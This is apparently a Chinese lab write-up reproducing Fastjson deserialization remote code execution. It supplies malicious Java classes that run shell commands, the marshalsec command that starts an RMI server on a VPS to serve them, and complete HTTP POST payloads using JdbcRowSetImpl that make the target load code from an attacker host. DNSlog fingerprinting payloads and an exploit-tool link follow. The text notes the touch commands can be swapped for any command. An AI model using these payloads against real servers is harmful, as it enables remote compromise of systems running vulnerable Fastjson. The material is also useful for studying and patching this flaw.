fastjson rce相关复现
实验环境
攻击机:Win 10(物理机)、ubantu16(公网环境,恶意java文件所在服务器)
靶机: ubantu18
注意
1.Ubuntu18开启恶意加载RMI的java环境需要为低版本1.8的任意版本
2.要有清晰的思路
3.python的简易网站使用的python版本为2.X(python -m SimpleHTTPServer 6666),3.X可直接使用
大致流程:
编写恶意类 --> 编译为class文件 --> 在class的目录用python开一个HTTP服务 --> marshalsec起一个RMI服务 --> 构造包触发反序列化点远程加载恶意类 --> 执行命令
①编写恶意类
在ubantu16上,写入一个java文件 TouchfIle.java 放在根目录/root,如果是windows的话就看着放,比如PHPSTUDY放WWW里
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
②编译成class javac TouchFile.java
③在class文件的目录里用python开启简易HTTP服务
python3 -m http.server 4444
④marshalsec起一个RMI服务
1.首先apt install marshalsec 安装哈
2.然后apt install maven 安装maven要编译
3.mvn clean package -DskipTests 编译marshalsec
4.进入marshalsec/target里,存在以下两个可以调用开启RMI服务的jar包
使用以下命令:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://vpsIP:PORT/#TouchFile" 9999
这里的vpsIP是指你的公网的开启web后放入TouchFile.class的那台服务器。本意为,使用marshalsec-0.0.3-SNAPSHOT-all.jar在本机的9999端口开启一个RMI服务加载TouchFile.class文件。
⑤物理机抓包,并修改内容,GET改为POST
POST / HTTP/1.1
Host: 45.77.127.27:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/json
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 163
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://144.202.80.85:9999/TouchFile",
"autoCommit":true
}
}
⑥靶机成功执行命令
json1.2.47 rce利用方式是一样的,只是把payload换成下面这个:
POST / HTTP/1.1
Host: vpsA:8090
Accept: */*
Accept-Language: zh-CN
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; NMTE)
Connection: close
Content-Length: 266
Content-Type: application/json
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://vpsB:9999/Exploit",
"autoCommit":true
}
}
fastjson小于1.2.68全漏洞RCE利用exp
首先恶意类这样写:
其中touch /zydx666为系统命令,可以根据自己需求随意修改
注意该文件名叫Exploit.java固定格式不能变
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Exploit{
public Exploit() throws Exception {
Process p = Runtime.getRuntime().exec(new String[]{"bash", "-c", "touch /zydx666"});
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
String line;
while((line = reader.readLine()) != null) {
System.out.println(line);
}
p.waitFor();
is.close();
reader.close();
p.destroy();
}
public static void main(String[] args) throws Exception {
}
}
向靶机发送的包是这个
POST / HTTP/1.1
Host: 1.1.1.1:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 260
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://2.2.2.2:9999/Exploit",
"autoCommit":true
}
}
https://github.com/wyzxxz/fastjson_rce_tool 搭建服务快捷工具rml+class
漏洞检测
未知目标是否使用 Fastjson ,但站点有原始报错回显
如果站点有原始报错回显,可以用不闭合花括号的方式进行报错回显,报错中往往会有fastjson的字样
例如
无回显,通过DNS回显的方式盲区分 Fastjson 和 Jackson
可以用以下payload测试
{"zeo":{"@type":"java.net.Inet4Address","val":"745shj.dnslog.cn"}}
最终在dnslog上收到回显
最新版本1.2.67依然可以通过dnslog判断后端是否使用fastjson
参考:https://blog.csdn.net/god_zzZ/article/details/107122487